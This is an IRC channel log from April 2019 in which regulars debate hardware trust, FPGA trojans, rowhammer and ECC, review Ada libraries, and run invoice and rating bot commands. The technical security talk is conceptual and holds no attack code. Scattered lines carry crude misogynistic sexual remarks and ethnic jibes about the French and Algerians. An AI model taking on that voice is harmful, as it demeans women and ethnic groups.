1907619;1554743405;mp_en_viaje;so : suppose a) tcp/ip is intrinsically, by its very [deliberate, and previously uknown-ly so] design vulnerable to "blowhammer", which is a class of yet undescribed attacks ; suppose your fpga includes an electrically-isolated leverage for a.
1907620;1554743422;mp_en_viaje;this happened, factually, in the su embassy thing with the carved wooden amplifier thingee.
1907621;1554743463;mp_en_viaje;in short -- imperial dishomogenity is not a free option.
1907622;1554743473;mp_en_viaje;all structure always comes home to roost.
1907623;1554743518;asciilifeform;gotta flesh this one out tho, cuz as written it posits the conclusion. how does the raw device know that it is being put to use for tcpip ? rather than e.g. to control aquarium temp.
1907624;1554743536;mp_en_viaje;it doesn't. if it is, it is, and if it isn't, it doesn't do anything.
1907625;1554743559;mp_en_viaje;how did the carveout amplify discussions not occuring in that room ? it did not.
1907626;1554743599;asciilifeform;this is the definition of the desired mine. but does not describe how one could actually fit such 'recognizer' inside without it physically dwarfing the rest of the item.
1907627;1554743603;mp_en_viaje;now imagine a fpga, surrounded by 725 islands, leveraging each one thing, this is net-a that is tcp-ip-b, that'
1907628;1554743606;mp_en_viaje;s dram and so on.
1907629;1554743628;mp_en_viaje;i am not equipped to evaluate the geometry of a leverage of tower of shit.
1907630;1554743673;asciilifeform;i say that this is roughly equivalent to 'enemy will sell you a pen that writes gavin's pubkey if you sit down and try to write mp_en_viaje's '
1907631;1554743676;mp_en_viaje;neither are you. the only approach is to not use towers of shit. trying to calculate the resonance frequencies of arbitrary shitpiles is going to get you in the same line as karman went
1907632;1554743685;mp_en_viaje;we don't agree there.
1907633;1554743721;asciilifeform;mp_en_viaje: i say that vlsi circuit whose functionality cannot be established optically, is intrinsically 'tower of shit' just like e.g. linux kernel.
1907634;1554743739;mp_en_viaje;possibly.
1907635;1554743773;mp_en_viaje;but the point here was, that as long as what you're implemeting is, say, tcp, or dram, what you will get is not in fact a safely auditable object.
1907636;1554743791;mp_en_viaje;this is really a trivial point.
1907637;1554743800;asciilifeform;the ~substrate~ gotta be a physically auditable object tho.
1907638;1554743823;asciilifeform;then and only then it is meaningful to try an' audit the logic payload as a separate entity.
1907639;1554743848;mp_en_viaje;if you expect to detect electically isolated islands, as what you mean by "optically", then yes.
1907640;1554743854;asciilifeform;sorta why asciilifeform separated fg into 3 individually-auditable components
1907641;1554743862;asciilifeform;i.e. 2 analogue and 1 deterministic
1907642;1554743908;asciilifeform;( observe that a hardline skeptic who cannot be satisfied with the 'rngicity' of the analogue boards, can replace'em with hand buttons, or roulette wheels, if he is willing to live with smaller bit rate )
1907643;1554743946;asciilifeform;conversely, one who is satisfied with the analogue boards, but not the vonneumanizer, can use the former and discard the latter, replacing with own
1907644;1554743951;mp_en_viaje;to restate the point : there's no substantial difference between a) using dns/ntp ; b) running windows and c) writing your own code to run on your own hardware and interface with say dram.
1907645;1554744000;asciilifeform;mp_en_viaje: asciilifeform does not and at no point did posit a 'magical amulet' iron that somehow cures the effects of throwing in braindamaged softs
1907646;1554744017;asciilifeform;'pray tell, mr babbage!'
1907647;1554744019;mp_en_viaje;there's a lot of formal difference, of course. exaclty like there's a lot of formal difference between fucking a crack whore in the ass and fucking a strep throat slavegirl in the mouth.
1907648;1554744042;mp_en_viaje;but, substantially, you're gonna get infected.
1907649;1554744279;asciilifeform;fughetting for a moment fpga : consider ordinary transistor, or even diode. it is not physically possible to bake a 'secretly smart' transistor that does s/mp-pubkey/gavin-pubkey in hopes of being put in somebody's serial port 1 day, and for it to have same analogue characteristics as genuine diode (not even speaking of what it'd look like under microscope)
1907650;1554744304;mp_en_viaje;this much is true.
1907651;1554744320;asciilifeform;cuz, elementarily, it would have to contain coupla 10k actual transistors inside, and impose their propagation delay on the output.
1907652;1554744384;mp_en_viaje;nevertheless, if you implement some dumb protocol, ~even if you implement it correctly~, and ~even if you use it on non-thompson hardware~, nevertheless you have a hole : the dumb protocol, potentially doing who knows what on the side.
1907653;1554744410;mp_en_viaje;exactly like if you agree to make all diodes work on 10kv, you will not be able to prevent enemy from cooking his breakfast on your computatron
1907654;1554744423;asciilifeform;if yer using idjit softs, enemy has no need to build custom factory for to slip you a subtly mined part
1907655;1554744430;asciilifeform;he can work with douchebags for pennies
1907656;1554744433;mp_en_viaje;which is +ev for him and -ev fr you.
1907657;1554744456;mp_en_viaje;asciilifeform, not a matter of softs. the dram protocol's as hardware as it gets.
1907658;1554744549;asciilifeform;mp_en_viaje: dram ( at least such as sold as 'ddr3' and above ) is actually a scam, i.e. 'works unless the access pattern revisits $row 'too often' ) , this is moar of a shoddy konsoomer rubbish masquerading as deterministic component than an 'attack'
1907659;1554744584;mp_en_viaje;it's a matter of designs, protocols, algorithms. being at a delta from correctness is a homomorphism of having a personality, and in the exact http://btcbase.org/log/2019-04-03#1906848 sense
1907660;1554744584;a111;Logged on 2019-04-03 21:31 mp_en_viaje: the driver of the error is the desire of having a ~unique~ personality. it is not deemed sufficient, by contemporary man, to merely have the same personality as the entire tableau of orthodox saints. there's too many of those, see. gotta be unique. as it can't be unique and meaningful at te same time (think, can it ?)... all that's left is the getting-drunk-on-tapwater "secret parameters".
1907661;1554744601;asciilifeform;sorta like where asciilifeform one time found that an ancient box he was using as www toilet, would overheat an' shutdown when visiting particular sites; found in the end that they contained 'js miners' and the thermal grease had dried decade ago
1907662;1554744611;asciilifeform;i would not classify this as 'clever attack'
1907663;1554744622;mp_en_viaje;well, cleverness notwithstanding.
1907664;1554744697;mp_en_viaje;this is a large part of what informs the "no magic numbers" stance, for isntance.
1907665;1554744736;mp_en_viaje;but anyways -- we shall continue laters!
1907666;1554744744;asciilifeform;aite
1907667;1554745403;asciilifeform;incidentally, ddr 'hammer' and similar 'induce random bit flips' are only interesting on idjit pc iron, which lacks ecc and bounds checking . on sane iron, flippin' bits blindly gets you a halted machine and a handy printout telling the operator which stick to replace.
1907668;1554745533;asciilifeform;1st time i booted up that 'ivory' bolix, it actually listed a coupla 'and here ecc triggered, corrected x to y' when revving up
1907669;1554745602;asciilifeform;thing has 2bit ecc on errything that hangs off the bus, even the little boot rom.
1907670;1554745639;asciilifeform;( and currently i suspect that there's 'majority' logic in the PALs, also , tho as of yet cannot say where )
1907671;1554745681;asciilifeform;~that~ is how sane folx build irons. and not idjit intel's 'i'ma happily execute this random pile o'bits as a cpu instruction anytime' nonsense.
1907672;1554746310;BingoBoingo;!!cancel-invoice whaack 1
1907673;1554746316;deedbot;Get your OTP: http://p.bvulpes.com/pastes/P3q5O/?raw=true
1907674;1554746349;BingoBoingo;!!v 942E64D22ADEFCF066CFE7790A5CEB982B05B2B08FC6F98399D727ED1D4AF5B0
1907675;1554746354;deedbot;BingoBoingo canceled whaack invoice 1
1907676;1554746393;BingoBoingo;!!invoice whaack 0.0216 Shared Hosting annual
1907677;1554746401;deedbot;Get your OTP: http://p.bvulpes.com/pastes/qPYYR/?raw=true
1907678;1554746432;BingoBoingo;!!v D1CFA12EC4B736722169248E48A0A040E4EF2F8D15505642CBED2DB56BC61427
1907679;1554746436;deedbot;Invoiced whaack 0.0216 << Shared Hosting annual
1907680;1554746497;BingoBoingo;!!pay-invoice PeterL 2
1907681;1554746504;deedbot;Get your OTP: http://p.bvulpes.com/pastes/V5U6o/?raw=true
1907682;1554746547;BingoBoingo;!!v BA174783D816FBB77A24ABCD7AB78DC699CD561E34459B1A77994530278A9541
1907683;1554746551;deedbot;BingoBoingo paid PeterL invoice 2
1907684;1554750308;BingoBoingo;http://btcbase.org/log/2019-04-08#1907489 << Was more motivated by a desire to generally not keep my loans of voice open forever when the princess appears to be slotting for other castles
1907685;1554750308;a111;Logged on 2019-04-08 12:19 mp_en_viaje: http://btcbase.org/log/2019-04-07#1907247 << i confess the wikilinks irritated me also.
1907686;1554750411;BingoBoingo;When I did my last ratings cleanup there was a lot of "Who dat?
1907687;1554750677;feedbot;http://thetarpit.org/posts/y05/08b-feedbot-ii.html << The Tar Pit -- Feedbot [ii]: the rss announcer
1907688;1554763999;feedbot;http://qntra.net/2019/04/us-government-centcom-added-to-list-of-terrorist-organizations-by-major-regional-power/ << Qntra -- US Government, CENTCOM Added To List Of Terrorist Organizations By Major Regional Power
1907689;1554767861;OriansJ;asciilifeform: No, I just haven't seen anything worth discussing, as I am only here to discuss the bootstrapping of Sane Iron and I will be here until I keep my word to bvt and have my discussion with mircea_popescu; to see if there is potential for mutually beneficial cooperation in regards to Sane Iron and Need to run something now.
1907690;1554768330;asciilifeform;OriansJ: if you answr mp's comments in today's log, tomorrow he can answer back, etc. this is typically how it worx here, rather than waiting always for folx all over planet to be awake simultaneously
1907691;1554768406;asciilifeform;OriansJ: observe how http://btcbase.org/log/ works, pasted log refs are cross referenced automatically
1907692;1554768481;asciilifeform;it saves many kilometres of length, nobody ever has to say anything twice.
1907693;1554768538;asciilifeform;can also easily see what has been said on a subj, and by whom, e.g.,
1907694;1554768589;asciilifeform;!#s from:asciilifeform karatsuba
1907695;1554768589;a111;93 results for "from:asciilifeform karatsuba", http://btcbase.org/log-search?q=from%3Aasciilifeform%20karatsuba
1907696;1554768855;asciilifeform;OriansJ: plz know that if you're waiting for mp to wake up and repeat what he has prev. said, you will be quite disappointed. nobody repeats; and failure to address prev comments in the log, is the height of ill manners: can be forgiven a noob once or twice, but one gets with the program and starts using the log , or loses voice fast.
1907697;1554768979;asciilifeform;OriansJ: if you read today's log and genuinely found 0 to say, i cannot fathom what sorta 'mutually beneficial cooperation' you had in mind .
1907698;1554809297;phf;http://btcbase.org/log/2019-04-08#1907364 << by next monday
1907699;1554809297;a111;Logged on 2019-04-08 09:34 mp_en_viaje: phf, can there be had eta for http://btcbase.org/log/2019-02-05#1892960 then ?
1907700;1554809454;phf;i made a mistake of trying to rewrite url highlight in term of message annotations. the later is the mechanism i use for xref and such, and it scans the entire message corpus once, where's url highlight right now is done on each rerender.
1907701;1554832434;*;asciilifeform waves to mp_en_viaje & co
1907702;1554832447;*;mp_en_viaje waves right back
1907703;1554832536;mp_en_viaje;http://btcbase.org/log/2019-04-08#1907671 << it was supposed to be a TERMINAL, holy hell.
1907704;1554832536;a111;Logged on 2019-04-08 17:48 asciilifeform: ~that~ is how sane folx build irons. and not idjit intel's 'i'ma happily execute this random pile o'bits as a cpu instruction anytime' nonsense.
1907705;1554832549;mp_en_viaje;intel is as much a computer maker as any umbrella shop.
1907706;1554832573;asciilifeform;which terminal
1907707;1554832656;mp_en_viaje;asciilifeform, the datapoint 2200
1907708;1554832675;asciilifeform;a aa
1907709;1554832863;mp_en_viaje;so im sitting here with coffee, disaronno an' excellent italian gelatto, tryna find the bottom. so far -- bottomless bimbos, as in the celebrated "sfondami tutta"
1907710;1554833005;mp_en_viaje;"This follows the example set by the Serene Republic" <<< something tells me ima be reading that ever more frequently.
1907711;1554833075;mp_en_viaje;http://btcbase.org/log/2019-04-08#1907689 << well, i'm around.
1907712;1554833075;a111;Logged on 2019-04-08 23:57 OriansJ: asciilifeform: No, I just haven't seen anything worth discussing, as I am only here to discuss the bootstrapping of Sane Iron and I will be here until I keep my word to bvt and have my discussion with mircea_popescu; to see if there is potential for mutually beneficial cooperation in regards to Sane Iron and Need to run something now.
1907713;1554833111;mp_en_viaje;!!gettrust OriansJ
1907714;1554833111;deedbot;L1: 0, L2: 0 by 0 connections.
1907715;1554833115;mp_en_viaje;!!up OriansJ
1907716;1554833116;deedbot;OriansJ voiced for 30 minutes.
1907717;1554833121;asciilifeform;odd, i did rate him
1907718;1554833136;asciilifeform;!!gettrust OriansJ
1907719;1554833136;deedbot;L1: 1, L2: 1 by 1 connections.
1907720;1554833139;asciilifeform;oh oooh
1907721;1554833162;mp_en_viaje;oh i see
1907722;1554833165;mp_en_viaje;!!gettrust deedbot OriansJ
1907723;1554833166;deedbot;L1: 0, L2: 1 by 1 connections.
1907724;1554833169;mp_en_viaje;right.
1907725;1554833177;asciilifeform;!!rate mp_en_viaje 1 by all appearances, mircea_popescu's mobile palace terminal
1907726;1554833180;deedbot;Get your OTP: http://p.bvulpes.com/pastes/fbHVx/?raw=true
1907727;1554833183;mp_en_viaje;asciilifeform, incomprehensibly my travel key dun trust you any!
1907728;1554833210;asciilifeform;!!v AE14263F3AA78B7C4109387AD6B1AB0B3552D1B50047E6CE640F2058B33AFD06
1907729;1554833211;deedbot;asciilifeform rated mp_en_viaje 1 << by all appearances, mircea_popescu's mobile palace terminal
1907730;1554833283;asciilifeform;d00d dun seem to actually have problem self-voicing tho. ( does, sadly , have problem with concept of reading log, but perhaps curable.. )
1907731;1554833333;mp_en_viaje;yeah i got confuseled.
1907732;1554833381;mp_en_viaje;http://btcbase.org/log/2019-04-09#1907698 << eeexcellent!
1907733;1554833381;a111;Logged on 2019-04-09 11:28 phf: http://btcbase.org/log/2019-04-08#1907364 << by next monday
1907734;1554833684;BingoBoingo;http://trilema.com/2013/bitcoin-prices-bitcoin-inflexibility/ << TMSR doctrine has been against the idea of bottoms for a while now. Bottomless everythings and everybodies.
1907735;1554834720;mp_en_viaje;holy shit, so much zumba.
1907736;1554834729;mp_en_viaje;we're like 15 scoops in already.
1907737;1554834754;asciilifeform;mp_en_viaje: wat's a 'zumba' ?
1907738;1554835155;mp_en_viaje;asciilifeform, you know, one of those hard, time consuming things women do to look like i like them to.
1907739;1554835183;asciilifeform;aa gymnastics
1907740;1554835209;BingoBoingo;Nah, more gyrations less explosives moves into the air
1907741;1554835455;mp_en_viaje;buttnastics
1907742;1554835526;mp_en_viaje;http://i.imgur.com/RA4xaxt.gif for futureference.
1907743;1554836341;PeterL;zumba is basically working out to latin music
1907744;1554836519;mp_en_viaje;just about.
1907745;1554837170;mp_en_viaje;well, i guess that's all for now, catch'yall laters!
1907746;1554839993;feedbot;http://qntra.net/2019/04/f-35-pain-continues-japan-loses-one-over-pacific-grounds-rest/ << Qntra -- F-35 Pain Continues: Japan Loses One Over Pacific, Grounds Rest
1907747;1554840651;diana_coman;BingoBoingo: "turpoprop" lolz
1907748;1554840667;BingoBoingo;ty, fxd
1907749;1554840931;*;BingoBoingo remembers growing up in the US where the propaganda line was US missiles had the aim to kiss a target's asshole before exploding. Now, two decades and a couple dozen wars of various sizes later... "Next Gen" weapons not all that relevant. Air defense is the new cool because the threat to Peace this century has always been... US aircraft and missiles. Great Propoganda victory there guys.
1907750;1554843415;diana_coman;http://btcbase.org/log/2017-02-02#1610852 - as I found this only now when I stumbled upon Montmollin's various lib and had (for once!) a rather pleasant surprise: asciilifeform did you actually review any of his code?
1907751;1554843415;a111;Logged on 2017-02-02 01:08 asciilifeform: http://unzip-ada.sourceforge.net/za_html/index.htm << astonishingly readable literate-programming d00d. and he has a bunch of these.
1907752;1554843512;diana_coman;the code I saw so far is quite readable and self-contained so all surprisingly good there but it's true that he still uses all sorts including unbounded strings and pointers where I'm not sure it's really unavoidable
1907753;1554844453;asciilifeform;diana_coman: he's where i lifted the 'gnathtml' coad-to-www method thing. but i never had any occasion to use his zip lib in the field
1907754;1554844516;asciilifeform;diana_coman: i'm quite skeptical re the 'unavoidable' of the use of unboundeds and pointerisms (in re the latter, outside of unix api glue) in the general case, tho
1907755;1554844538;diana_coman;I saw that he has supposedly even an Ada browser but when I tried to get the sources it seems I got some incomplete/windows-dev thing
1907756;1554844545;diana_coman;me2!
1907757;1554844582;asciilifeform;diana_coman: what made you remember the item ? ( was looking for lzwtron ? )
1907758;1554844595;diana_coman;he has a short and ok ini-files read/write thing that might come in handy for eulora client really
1907759;1554844617;asciilifeform;aa
1907760;1554844659;diana_coman;but yes, that uses also unbound strings
1907761;1554844697;diana_coman;from there I had a look at his zip ada and the rest
1907762;1554844738;asciilifeform;re config txt parsers, i dun grasp why it would need heapism, rather than simple http://btcbase.org/patches/ffa_ch18_subroutines.kv/tree/ffa/ffacalc/ffa_calc.adb#L99 -style offsets into the read-only text
1907763;1554844782;diana_coman;as I said earlier: I don't think it *has to*; but he clearly doesn't have a problem with it and so he uses it; there are quite a few things grating, yes;
1907764;1554844799;asciilifeform;if all yer 'strings' come from the inside of a large, static string, can represent'em simply as tuples , as pictured in above
1907765;1554844876;asciilifeform;the ada array-slice notation makes this work properly without substantial effort, simply through the type constraint logic .
1907766;1554844916;diana_coman;certainly.
1907767;1554844934;asciilifeform;http://btcbase.org/patches/ffa_ch18_subroutines.kv/tree/ffa/ffacalc/ffa_calc.adb#L553 << for thread-completeness, illustration of matching such 'strings'
1907768;1554844949;asciilifeform;kudos to phf btw for the colourized display
1907769;1554844953;diana_coman;anyway, the ini files is a tidbit really; that was the entry point but since I saw afterwards all the www-oriented parts I got curious
1907770;1554845016;asciilifeform;diana_coman: so far i've found that reading heathen ada examples ~cost~ me time, rather than saved, and put into my head things that later had to laboriously pump out. and the zip fella is no exception.
1907771;1554845086;asciilifeform;'everybody' used copious heapisms, pointerisms, 2ndarystackisms, etc. supposedly somewhere some avionics people didnt, but naturally never bothered to publish.
1907772;1554845104;asciilifeform;so i had to sweat it out from first principles.
1907773;1554845115;diana_coman;as I'm coming from a few years already of reading and wrestling planeshift code, I can't say it'll be reading heathen Ada that would cost me time, lol.
1907774;1554845118;diana_coman;but I get what you mean
1907775;1554845169;asciilifeform;1st major piece of 'example' asciilifeform tried to eat, actually was the bignumtron ~inside gnat~ , in '16. and quickly barfed.
1907776;1554845177;diana_coman;and yes, it's certainly precisely the case that copious heapisms, pointerisms etc - the reason for it being as far as I can see quite obvious too: no sweating from 1st principles, much easier that way, sure
1907777;1554845218;asciilifeform;near as i can tell, these folx simply sat down and 'wrote c++ in ada', is all there was to it.
1907778;1554845358;diana_coman;this guy is the first that doesn't quite seem "c++ in ada" really i.e. he seems more focused on Ada for the right reasons; I suspect more the windows-based trouble as it were.
1907779;1554845362;asciilifeform;https://archive.is/xqalm#selection-3397.1-3397.14 << oblig illust.
1907780;1554845396;diana_coman;anyway, for client use, it's not ada-heapism that is in any way a problem really.
1907781;1554845444;asciilifeform;i am unequipped to pontificate re euloratron, but as i recall the 'problem', such as there was, lives mostly in the 100MB+ of cpp legacy ???
1907782;1554845538;diana_coman;yes; and client is entirely open up to players to make as well as they want to have it.
1907783;1554845595;asciilifeform;this is where i confess that asciilifeform is not currently tuned in realtime to #e news, does not know what, if anyffin, the players have birthed
1907784;1554845647;diana_coman;whatever they need; so far apparently not much but that's up to them.
1907785;1554845738;asciilifeform;diana_coman: upstack to 'quasi-decent heathen adaists', 1 item from my notes is http://www.dmitry-kazakov.de/ada/components.htm
1907786;1554845756;asciilifeform;^ looked solid on surface, but must admit that asciilifeform did not attempt to put to use
1907787;1554845777;asciilifeform;he has parsers, tcptronics, various datastructures
1907788;1554845797;diana_coman;ah, yes, that I looked at in the very beginning but tbh it still didn't help much and it was still simply Barnes' book I needed mostly.
1907789;1554845829;asciilifeform;kazakov's thing isn't an ada tutorial, it's a (surprisingly well documented, for a heathen) lib collection
1907790;1554845836;diana_coman;I suspect by now the "Ada-space" is rather mapped since I keep bumping into the same names
1907791;1554845863;asciilifeform;there aint so many names, even if you count erryone who's so much as touched the subj
1907792;1554845871;diana_coman;myeah
1907793;1554845898;asciilifeform;it's roughly similar to the commonlisp situation -- most of the extant coad is old/commercial/inhouse, unpublished.
1907794;1554845934;asciilifeform;thing hid in a cave from the 'open sores movement', and so kept some semblance of sanity , but at the cost of becoming essentially 'found martian artifact' from asciilifeform-circa-2016 pov
1907795;1554846108;asciilifeform;asciilifeform would find it interesting to read the 1980s ada that's running on boeing etc. , but so far never found any leaked pieces thereof. would be interesting to see if resembles e.g. ffa style.
1907796;1554846221;diana_coman;perhaps; fwiw I think there's a rather funny rush to "find" Ada.
1907797;1554846252;asciilifeform;there is?! (since when?? i -- mercifully -- apparently missed)
1907798;1554846274;asciilifeform;if indeed so, i suppose it's a good job that we forked it before it got 'found'
1907799;1554846434;*;asciilifeform pictures already the coming orgy of derps , writing 'ada' cum heapism/pointers , so to 'feel like a trader^H^H^H^H^Hboeing' etc
1907800;1554846443;diana_coman;the easy gauge would be - go mention Ada and see reaction; far from "martian artefact" style; but that being said, I'm not giving it as "fact, here it is, started on x-y-z at 5pm"
1907801;1554846539;asciilifeform;whether happened yet or not, it dun particularly concern us imho -- any moar than mp has to think, when dining on foie gras, about rats gnawing on a goose carcass that died over a junkyard somewhere
1907802;1554846548;diana_coman;exactly.
1907803;1554846613;*;diana_coman will go to sleep
1907804;1554846619;asciilifeform;goodnight diana_coman
1907805;1554846622;*;asciilifeform bbl:tea
1907806;1554907619;whaack;!!pay-invoice BingoBoingo 2
1907807;1554907630;deedbot;Get your OTP: http://p.bvulpes.com/pastes/stCsE/?raw=true
1907808;1554907799;whaack;!!v CFBFCC094E40EA43B45CEC450C776DA79F2DA8690175F32D3D95C73D296D6394
1907809;1554907803;deedbot;whaack paid BingoBoingo invoice 2
1907810;1554913351;BingoBoingo;!!up mp_en_viaje
1907811;1554913352;deedbot;mp_en_viaje voiced for 30 minutes.
1907812;1554913354;mp_en_viaje;ty
1907813;1554913358;BingoBoingo;Np
1907814;1554913371;BingoBoingo;What's the latest local delight?
1907815;1554913374;mp_en_viaje;momentarily misplaced launch codes, slavegirl will bring about momentarily.
1907816;1554913405;mp_en_viaje;eh, mostly bothering people in myriad incomprehensible ways.
1907817;1554913412;mp_en_viaje;http://btcbase.org/log/2019-04-09#1907777 << >> http://btcbase.org/log/2014-08-20#801609 and all that.
1907818;1554913412;a111;Logged on 2019-04-09 21:26 asciilifeform: near as i can tell, these folx simply sat down and 'wrote c++ in ada', is all there was to it.
1907819;1554913412;a111;Logged on 2014-08-20 01:01 asciilifeform: '…like a refugee from very rural Pakistan who gets relocated to Oslo, Norway, and still thinks that he could make better food if he were only allowed to light a fire in his living room instead of using that complex electric stove. (This is a real news item.  Every now and then, landlords discover indoor fireplaces and occasionally the “newbies” to civilization burn down the building.)' (herr naggum)
1907820;1554913446;asciilifeform;mp_en_viaje: rrright, but picture whole block o'flats fulla ~only~ these, nuffin else
1907821;1554913457;mp_en_viaje;so you mean like, paris, right ?
1907822;1554913471;asciilifeform;possibly, i haven't looked inside post-obummer paris..
1907823;1554913496;mp_en_viaje;ever since the whole strauss-kahn thing, france's been such a lulzy rumpstate...
1907824;1554913531;mp_en_viaje;we mock england for being a butthole, but really, northern algiers is no better merely for not being mentioend.
1907825;1554913572;BingoBoingo;Ever since the mundial I've been shitting on the French with the locals here.
1907826;1554913587;BingoBoingo;"Who on this team looks... French?"
1907827;1554913606;mp_en_viaje;well, they all look uruguayan :D
1907828;1554913624;asciilifeform;afaik fr was zombie at least since de gaulle died
1907829;1554913639;BingoBoingo;Sure, the Uruguayo team does. French team had all of two French dudes and a roster full of Africa.
1907830;1554913740;mp_en_viaje;http://btcbase.org/log/2019-04-09#1907790 << yeah, the prior art is ~done. "avionics people" my left foot.
1907831;1554913740;a111;Logged on 2019-04-09 21:37 diana_coman: I suspect by now the "Ada-space" is rather mapped since I keep bumping into the same names
1907832;1554913813;asciilifeform;mp_en_viaje: re 'avionics people' -- tried as i might, found only the hole, but not the fossil. ( ~somebody~ pressed for the lang standard to have the http://www.loper-os.org/?p=1913#selection-349.0-1150.0 knobs. but who? and where used ? i do not know to this day )
1907833;1554913816;mp_en_viaje;http://btcbase.org/log/2019-04-09#1907793 << most of the code is old/<tinyfont>commercial/inhouse/</tinyfont>vaporware/rumorware ; in any case unpublished.
1907834;1554913816;a111;Logged on 2019-04-09 21:38 asciilifeform: it's roughly similar to the commonlisp situation -- most of the extant coad is old/commercial/inhouse, unpublished.
1907835;1554913862;mp_en_viaje;you know, archeologists are the guys who reconstruct a mastoton out of a tooth. NOT out of the hole where the tooth could have went,
1907836;1554913867;asciilifeform;mp_en_viaje: boeing claims ada in 7xx series. but i have no means to verify .
1907837;1554913902;mp_en_viaje;which whole pile reminds me of the famous mobster from chicago (in guys and dolls). the guy who had his custom-made dice erased, so he could remember ~where the spots formerly were~.
1907838;1554913933;mp_en_viaje;asciilifeform, moreover, mcdonalds claims meat in "food" series.
1907839;1554913966;asciilifeform;it does?! ( i thought they carefully avoid making any such concrete claim.. )
1907840;1554914000;mp_en_viaje;hm.
1907841;1554914011;mp_en_viaje;i might've been talking out of ass!
1907842;1554914030;asciilifeform;possibly BingoBoingo knows
1907843;1554914056;asciilifeform;i dunno re mcd, but specifically recall a protracted litigation-wank re who gets to claim to sell 'chocolate' in the reich
1907844;1554914091;asciilifeform;iirc ended with the old ban on peddling liquishit with ~0 actual ch. in it, as 'chocolate', formally overturned
1907845;1554914093;mp_en_viaje;in other lulz, somewhat if vaguely related : "but mp, why don't you get so and so internet stick from so and so provider ? it's like 3 euro / mo!" "linux" "no, it supports linux too!" "you got one ?" "yes actually".
1907846;1554914137;*;mp_en_viaje looks at the wonder. it's something else, requires adobe air, atop a lengthy pile of other bullshit. the comments "#added by yong wong" in the ~100kb init.sh (that ~requires root~) are the lulz of all time.
1907847;1554914151;asciilifeform;mp_en_viaje: i confess , i assumed you were already connecting through a 'buy a local simcard' thing of 1 kind or another
1907848;1554914151;BingoBoingo;<asciilifeform> possibly BingoBoingo knows << They claim meat. Granted 1 mm thick hamburger pattys
1907849;1554914160;mp_en_viaje;even THESE FUCKTARDS understand they need the wot, ideologically dedicated as they are to pretending otherwiswe.
1907850;1554914168;mp_en_viaje;asciilifeform, nah.
1907851;1554914172;asciilifeform;( or did mp_en_viaje drag a sovok-style satellite rig with him... might explain the 200kg lol )
1907852;1554914189;mp_en_viaje;that actually travels separately, hence the selenar silences.
1907853;1554914320;mp_en_viaje;http://btcbase.org/log/2019-04-09#1907800 << she has a point, since we picked it up a few years ago it became the new fashionable buzzword to drop in conversations among wanna-be pubes "in the know". happened maybe a year or so ago.
1907854;1554914320;a111;Logged on 2019-04-09 21:47 diana_coman: the easy gauge would be - go mention Ada and see reaction; far from "martian artefact" style; but that being said, I'm not giving it as "fact, here it is, started on x-y-z at 5pm"
1907855;1554914335;asciilifeform;mp_en_viaje: i have nfi what the ' ~100kb init.sh (that ~requires root~) ' horror might be, the only ones i've ever used simply present as a hayes-style modem via usb (a la FG)
1907856;1554914354;asciilifeform;i reviewed several in the logs, in '14-'15
1907857;1554914440;mp_en_viaje;incidentally, isn't a pube the best possible contraction denoting the http://btcbase.org/log/2019-04-08#1907456 moron adolescens ?
1907858;1554914440;a111;Logged on 2019-04-08 11:51 mp_en_viaje: moreover, and overwhelmingly important, some duning-krugerands retarded enough to not understand that their cunt map they made (coming from the same place their "let's make a pact to get laid before highschool starts" "pact" came, ie, complete insanity and a ridiculously nonsensical worldview, wherein they're magically the only agents, and the world exists on the basis of their mental processes and in no other way, notwithstanding the obvious probl
1907859;1554914451;asciilifeform;huawei's item was the champ, even worked (with a little perling) to send/receive voice calls (why to do this, is separate q, but it does work)
1907860;1554914458;mp_en_viaje;asciilifeform, i suppose i can publish it for your lulz, if you care.
1907861;1554914483;mp_en_viaje;4G!!!!
1907862;1554914499;asciilifeform;i never had the '4g' one
1907863;1554914524;asciilifeform;these iirc need buncha init gnarl, and dun 'hayes' no moar
1907864;1554914570;mp_en_viaje;aha.
1907865;1554914592;asciilifeform;nor did i ever feel burning urge for 30MB/s on gsm -- who the hell pumps wares via a 'pay per MB' sim toy
1907866;1554914621;mp_en_viaje;this is supposedly fixed monthly pay. i have nfi, i confess the pricing in telecom fails to make any sense to me, and has, for a while.
1907867;1554914638;mp_en_viaje;looks ~exactly like state-backed imaginary non-economic activity, from my (admittedly disinterested) pov.
1907868;1554914652;asciilifeform;well they're crown monopolies in most of europistan, neh
1907869;1554914656;asciilifeform;so unsurprise
1907870;1554914659;mp_en_viaje;possibly.
1907871;1554914715;asciilifeform;http://btcbase.org/log/2019-04-10#1907853 << i cannot resist to ask, where did mp_en_viaje spot this
1907872;1554914715;a111;Logged on 2019-04-10 16:38 mp_en_viaje: http://btcbase.org/log/2019-04-09#1907800 << she has a point, since we picked it up a few years ago it became the new fashionable buzzword to drop in conversations among wanna-be pubes "in the know". happened maybe a year or so ago.
1907873;1554914720;asciilifeform;cuz i -- mercifully -- missed
1907874;1554914822;mp_en_viaje;it may shock you to hear that i actually have a whole pile of whores beating the streets talking to dorks by the fucking pail just to keep me on top of things.
1907875;1554914831;*;asciilifeform believes
1907876;1554914833;mp_en_viaje;now those girls, they're the true marthyrs.
1907877;1554914943;mp_en_viaje;a here we go, delivery!
1907878;1554915223;asciilifeform;not wholly unrelatedly, asciilifeform's semi-automated archaeology birthed a logworthy output recently. seems like in '80s there was an outfit, 'algotronix', that xilinx bought an' killed , to bury the product in patent liquishit. had entirely homogeneous fpga , made from identical ~200-transistor cells ( with simple north-south-east-west tile interconnects, and 1 flipflop inside, configged via 16bit shift register per cell, connecte
1907879;1554915223;asciilifeform;d in series. ) simple enuff to simulate deterministically (and calculate propagation delays on paper..)
1907880;1554915275;asciilifeform;they even sold a card where you could plug in N of these, in tile pattern, and get whatever size fabric you like.
1907881;1554915303;asciilifeform;whole spec fit on half of a4 page.
1907882;1554915317;mp_en_viaje;o wow
1907883;1554915344;mp_en_viaje;this pretty well fits the bill of what we've been talking about.
1907884;1554915352;mp_en_viaje;now, if only could be cubed.
1907885;1554915358;asciilifeform;it's entirely identical to what asciilifeform proposed in '15
1907886;1554915373;asciilifeform;can cube, no particular reason wai not. or even hypercube.
1907887;1554915393;asciilifeform;would simply need additional metal layer.
1907888;1554915419;mp_en_viaje;hypercube's not particularly useful, as it's not a geometric shape. but even 2d, not bad.
1907889;1554915474;asciilifeform;i would've added row/column lines , to cut down propagation delay when you bake internal bus, but it's moar or less exactly The Right Thing as-is
1907890;1554915530;asciilifeform;( orig author had only 2 long aluminum lines, die-wide, for 2 phase of clock )
1907891;1554915570;mp_en_viaje;kinda the advantage of cube, elementarily shorter paths.
1907892;1554915594;asciilifeform;they also had a variant with tree-like local structure, for same
1907893;1554915618;asciilifeform;fractalesque shape.
